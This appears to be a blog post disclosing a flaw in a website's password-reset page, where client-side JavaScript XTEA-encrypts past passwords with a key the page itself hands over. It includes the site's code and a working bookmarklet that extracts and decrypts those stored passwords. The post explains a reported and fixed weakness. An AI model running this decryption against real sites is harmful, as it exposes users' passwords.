So the other day I was at a website's forgot password form, and I happened to look at their source, and I happened to see stuff like the below. I won't say who's website, but suffice to say that it was a very important website, and I'm genuinely concerned about what might happen if I called them out.
function BuildKey()//these are randomly generated keys (but we need to lock them) { var k = new Array(); k[0] = new Number('638750945226292'); k[1] = new Number('280638632359334'); k[2] = new Number('155182780519641'); k[3] = new Number('836535665283384'); return( k ); } function Encipher(p1, p2, k) { var temp = new Array(); temp[0] = 1; temp[1] = new Number(p1); temp[2] = new Number(p2); var sum = 0; var delta = 0x9E3779B9; var n = 32; while ( n-- > 0 ) { temp[1] = temp[1] + ( ( temp[2] << 4 ^ temp[2] >> 5 ) + temp[2] ^ sum + k[ ( sum & 3 ) ] ); sum = sum + delta; temp[2] = temp[2] + ( ( temp[1] << 4 ^ temp[1] >> 5 ) + temp[1] ^ sum + k[ ( sum >> 11 & 3 ) ] ); } return( temp ); } function EncipherText(password) { //bunch of irrelvent stuff key = BuildKey(); // pad the input so that it's a multiple of 8 while ( inString.length & 0x7 ) inString += '\x20'; var i = 0; while ( i < inString.length ) { // slam 4 bytes into a dword p1D = inString.charCodeAt(i++); p1D |= inString.charCodeAt(i++) << 8; p1D |= inString.charCodeAt(i++) << 16; p1D |= inString.charCodeAt(i++) << 24; // mask off 32 bits to be safe // javascript numbers are 64 bit IEEE double doubles p1D &= 0xFFFFFFFF; // slam 4 bytes into a dword p2D = inString.charCodeAt(i++); p2D |= inString.charCodeAt(i++) << 8; p2D |= inString.charCodeAt(i++) << 16; p2D |= inString.charCodeAt(i++) << 24; // mask off 32 bits to be safe // javascript numbers are 64 bit IEEE double doubles p2D &= 0xFFFFFFFF; // send dwords to be enciphered res = Encipher(p1D, p2D, key); // check the validity flag // convert the results to hex to facilitate deciphering - 16 chars generated per turn // append the hex values to the output buffer // do not include any new lines - the form is set to wrap // the validity flag defaults to true because I'm not certain what to check for ;-) outString += ( res[0] ? '' + DecToHex(res[1]) + DecToHex(res[2]) : errormark ); // later perhaps the outString should be chunked up // along the lines of B64 email attachments // although 0-9 and A-F are 6 and 7 bit values respectively // it's really a question of post limitations on the http server // clear the temporary variables p1D = 0; p2D = 0; res = null; } // return the encrypted string return outString; } function DecToHex(x) { var s = '', x_ = !isNaN(Number(x)) ? Number(x) : 0; while( Boolean( x_ ) ) { s = '0123456789ABCDEF'.charAt( x_ & 0xf ) + s; x_ >>>= 4; } while ( s.length & 0x7 ) { s = '0' + s; } return ( s ); } function customResetPassword(f){ if(f.newPassword.value == ""){ alert('Please enter the password'); f.newPassword.focus(); return false; } if(f.confirmPassword.value == ""){ alert('Please confirm the password'); f.confirmPassword.focus(); return false; } if(f.newPassword.value != f.confirmPassword.value){ alert("New password and Confirm password doesn't match"); f.newPassword.focus(); return false; } var pwdcheck = " EncipherText(f.newPassword.value) == "; pwdcheck = pwdcheck + "'A12D9DAB99664BA5E2328584044535EA'"; pwdcheck = pwdcheck + " || EncipherText(f.newPassword.value) == "; pwdcheck = pwdcheck + "'A12D9DAB99664BA5E2328584044535EA'"; pwdcheck = pwdcheck + " || EncipherText(f.newPassword.value) == "; pwdcheck = pwdcheck + "'A12D9DAB99664BA5E2328584044535EA'"; pwdcheck = pwdcheck + " || EncipherText(f.newPassword.value) == "; pwdcheck = pwdcheck + "'A12D9DAB99664BA5E2328584044535EA'"; pwdcheck = pwdcheck + " || EncipherText(f.newPassword.value) == "; pwdcheck = pwdcheck + "'A12D9DAB99664BA5E2328584044535EA'"; pwdcheck = pwdcheck + " || f.newPassword.value == "; pwdcheck = pwdcheck + "'A12D9DAB99664BA5E2328584044535EA'"; pwdcheck = pwdcheck + " || f.newPassword.value == "; pwdcheck = pwdcheck + "'A12D9DAB99664BA5E2328584044535EA'"; pwdcheck = pwdcheck + " || f.newPassword.value == "; pwdcheck = pwdcheck + "'A12D9DAB99664BA5E2328584044535EA'"; pwdcheck = pwdcheck + " || f.newPassword.value == "; pwdcheck = pwdcheck + "'A12D9DAB99664BA5E2328584044535EA'"; pwdcheck = pwdcheck + " || f.newPassword.value == "; pwdcheck = pwdcheck + "'A12D9DAB99664BA5E2328584044535EA'"; try{ if(eval(pwdcheck)){ alert('The New password entered matches one of your past 5 passwords, Please try again'); f.newPassword.value = ""; f.confirmPassword.value=""; f.newPassword.focus(); return false; } }catch(e){} f.encNewPassword.value = EncipherText(f.newPassword.value); document.customForgetPasswordForm.action='forgetPassword.do;'; document.customForgetPasswordForm.submit(); return false; }
Were you intrigued by those "encrypted" values too? I certainly was. (And in the example I swapped them out for the real values of course). Their encryption function happened to have a magic number 0x9E3779B9 and a quick google later I was looking at XTEA. It's not a bad algorithm, it's just a horrible idea to do it all in javascript! So I set about cracking it. And here's what I came up with:
javascript: //I made it a handy bookmarklet! function ascii_to_hex(x) { h="0123456789ABCDEF"; a=' !"#$%&' + "'" + '()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[' + '\\' + ']^_`abcdefghijklmnopqrstuvwxyz{|}'; r=""; for(i=0;i<x.length;i++) { y=x.charAt(2*i); z=x.charAt(2*i+1); v=h.indexOf(y)*16+h.indexOf(z); r+=a.charAt(v-32) } return r; } function decrypt(n) { var o=''; var k=BuildKey();//How do I get the key? Well they send it back to the browser and let you get it from a function, helpfully for(var i=0; i<n.length; i+=16)//loop over every 16 digits { p1=parseInt('0x' + n.slice(i,i+16).slice(0,8));//get the hex as an integer. p2=parseInt('0x' + n.slice(i,i+16).slice(8,16));//But we need to split each number into the two numbers we work with s= 0x9E3779B9 * 32; //delta x 32 rounds. r=32;//32 rounds while(r-->0) { p2-=(((p1<<4)^(p1>>5))+p1)^(s+k[(s>>11)&3]); //the crypto s-=0x9E3779B9; //subtract delta p1-=(((p2<<4)^(p2>>5))+p2)^(s+k[s&3]) //the other half of the crypto } o += ascii_to_hex(DecToHex(p1)).reverse() + ascii_to_hex(DecToHex(p2)).reverse(); //change the decimal to hex, and the hex to ascii, and then reverse it. then put the two halves together } return o; //that's your password } String.prototype.reverse=function() //just for cross-browser compatibility { a=this.split("");//make array b=a.reverse();//reverse array s=b.join("");//join array back into string return s }; var m=(customResetPassword + '').split(/pwdcheck = pwdcheck \+ "'/); //get lines defining the passwords out of the function 'customResetPassword' for(j=1;j<m.length-1;j++) { alert(decrypt(m[j].slice(0,32)));// get the first 32 characters (the encrypted password) and then go decrypt it }
And if you want to demo it all, head over to this example page and try it out. And that's why people who don't understand crypto, shouldn't do it. Crypto is not like bacon. You can put bacon on anything, and it makes it better. You can't put crypto on anything and make it secure.
The postscript is that I notified the right people, who notified the right people, and it got fixed in a week. I glanced at their fix, and it's certainly not this stupid, so it can hold out for a week or two before I try breaking it again.
required, hidden, gravatared
required, markdown enabled (help)
* item 2
* item 3
are treated like code:
if 1 * 2 < 3:
print "hello, world!"
are treated like code: